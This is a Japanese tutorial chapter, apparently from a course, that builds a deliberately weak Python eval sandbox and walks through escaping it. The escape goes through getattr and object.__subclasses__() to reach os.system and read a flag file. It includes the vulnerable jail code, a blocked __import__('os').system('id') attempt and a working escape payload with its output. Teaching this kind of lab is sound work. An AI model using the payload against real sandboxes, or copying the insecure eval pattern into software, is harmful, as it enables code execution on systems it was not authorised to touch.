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コース目次 / 第1章

pyjailを、破る

禁止語リストと限定されたbuiltinsで守られたeval環境を作ります。素朴な脱出方法が禁止語に阻まれることを確認したうえで、getattrとサブクラス一覧をたどってos.systemに到達し、flagを読み出します。

第1章 / 全4章目安 約18分この章のゴール: 限定されたbuiltinsからでも、オブジェクトの内部をたどって脱出できることを理解する

pyjailを、作る

jail.py として保存します。入力された式をevalする、よくあるパターンです。危険な操作を防ぐため、①禁止語リストでの文字列チェック、②builtinsを丸ごと渡さずgetattrとlenだけ許可、という2重の制限をかけています。

BANNED = ['import', 'eval', 'exec', 'open', 'os', 'subprocess']
SAFE_BUILTINS = {'getattr': getattr, 'len': len}

def main():
    print("式を入力してください:")
    expr = input("> ")
    if any(b in expr for b in BANNED):
        print("禁止語が含まれています。")
        return
    try:
        result = eval(expr, {"__builtins__": SAFE_BUILTINS})
        print(repr(result))
    except Exception as e:
        print("エラー:", type(e).__name__, e)

if __name__ == '__main__':
    main()
echo 'flag{jail_breaks_when_builtins_leak}' > flag.txt
python3 jail.py

同じディレクトリのflag.txtを読み出すのが目標です。

素朴な方法は、禁止語に阻まれる

echo "open('flag.txt').read()" | python3 jail.py
式を入力してください:
> 禁止語が含まれています。
echo "__import__('os').system('id')" | python3 jail.py
式を入力してください:
> 禁止語が含まれています。

open・import・osのどれかが式に含まれていれば、即座に弾かれます。単純な脱出方法は、この禁止語リストで防がれています。

しかし、getattrは許可されている

このjailはgetattrだけは「安全そうだから」と許可しています。しかしgetattrは、任意のオブジェクトの任意の属性を読める、強力な足がかりです。Pythonでは、あらゆるクラスがobjectを祖先に持ち、object.subclasses()で、今までにロードされたすべてのクラスの一覧にアクセスできます。その中には、osモジュールを内部で使っているクラスも含まれています。

echo "getattr(1, '__class__')" | python3 jail.py
式を入力してください:
> <class 'int'>

getattrを使えば、.属性名を書かなくても、属性名を文字列として渡すだけで属性を読めます——これが今回の足がかりです。

サブクラス一覧から、os.systemを探す

escape.py として保存します(1行で組み立てても動きますが、読みやすさのため分けます)。

payload = (
    "[c for c in ().__class__.__bases__[0].__subclasses__() "
    "if 'system' in getattr(c.__init__, '__globals__', {})]"
    "[0].__init__.__globals__['system']('cat flag.txt')"
)
print(payload)

().class.bases[0]はobjectクラスです。.subclasses()で、そのサブクラス一覧(今ロードされている全クラス)を取得します。その中からinitのグローバル変数に‘system’というキーを持つクラス——実はos._wrap_closeという、osモジュール内部のクラスです——を1つ見つけ、そのグローバル変数からos.system関数そのものを取り出します。この式のどこにも、禁止語である“import”・“eval”・“exec”・“open”・“os”・“subprocess”という文字列は一度も出てきません。

python3 escape.py | python3 jail.py
式を入力してください:
> flag{jail_breaks_when_builtins_leak}
0

破れました。flag.txtの中身が表示され、続く0はos.systemの返り値(終了コード)です。getattrという一見無害な関数1つが、禁止語リストでは防げない脱出経路になりました。「一部だけ許可すれば安全」という発想の危うさが、ここに現れています。

こうなっていればOK

卒業まであと2章です。

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